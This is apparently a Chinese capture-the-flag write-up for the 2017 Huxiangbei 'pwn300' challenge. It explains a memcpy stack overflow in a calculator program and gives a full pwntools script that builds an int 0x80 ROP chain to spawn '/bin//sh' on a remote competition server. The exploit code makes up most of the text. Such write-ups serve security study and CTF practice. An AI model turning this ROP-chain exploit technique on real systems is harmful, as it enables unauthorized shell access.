2017年湖湘杯的一道pwn题
2017 湖湘杯 pwn300
用memcpy把堆中数据向栈上写的时候造成栈溢出
稍微注意下这里栈溢出进行覆盖时会把栈上存放堆地址的位置也覆盖掉了,后面free的时候由于参数不是有效的堆地址会出一点问题。这里直接覆盖为0,从而执行free(0),就不会出错了。
程序是静态链接的,直接构造int 0x80的rop链,另外‘bin/sh'直接存放在ResultMul(0x080EBF28)和ResultAdd(0x080EBF2C)里面就可以了
from pwn import *
#p=process('./pwn300')
p=remote('118.190.83.164',10080)
def add(a1,a2):
p.recvuntil('5 Save the result')
p.sendline('1')
p.recvuntil('input the integer x:')
p.sendline(str(a1))
p.recvuntil('input the integer y:')
p.sendline(str(a2))
def sub(a1,a2):
p.recvuntil('5 Save the result')
p.sendline('2')
p.recvuntil('input the integer x:')
p.sendline(str(a1))
p.recvuntil('input the integer y:')
p.sendline(str(a2))
def mul(a1,a2):
p.recvuntil('5 Save the result')
p.sendline('3')
p.recvuntil('input the integer x:')
p.sendline(str(a1))
p.recvuntil('input the integer y:')
p.sendline(str(a2))
def div(a1,a2):
p.recvuntil('5 Save the result')
p.sendline('4')
p.recvuntil('input the integer x:')
p.sendline(str(a1))
p.recvuntil('input the integer y:')
p.sendline(str(a2))
def save():
p.recvuntil('5 Save the result')
p.sendline('5')
p.recvuntil('How many times do you want to calculate:')
p.sendline('27')
#gdb.attach(p,'b* 0x8048f9d')
for i in range(16):
add(0,0)
add(0,0x80bb406)#pop eax ; ret
add(0,11)
add(0,0x806ed0a)#pop edx ; ret
add(0,0)
add(0,0x806ed31)#pop ecx ; pop ebx ; ret
add(0,0)
add(0,0x80ebf28)#
add(0,0x8049781)#int 0x80
mul(1,0x6e69622f)
add(0,0x68732f2f)
save()
p.interactive()
PS:鶸的每日一坑...一开始用execve('/bin/sh;')怎么都不对。。。最后想到用过一个shellcode里面用的是
'/bin//sh',试了下成了>
原因还待探索。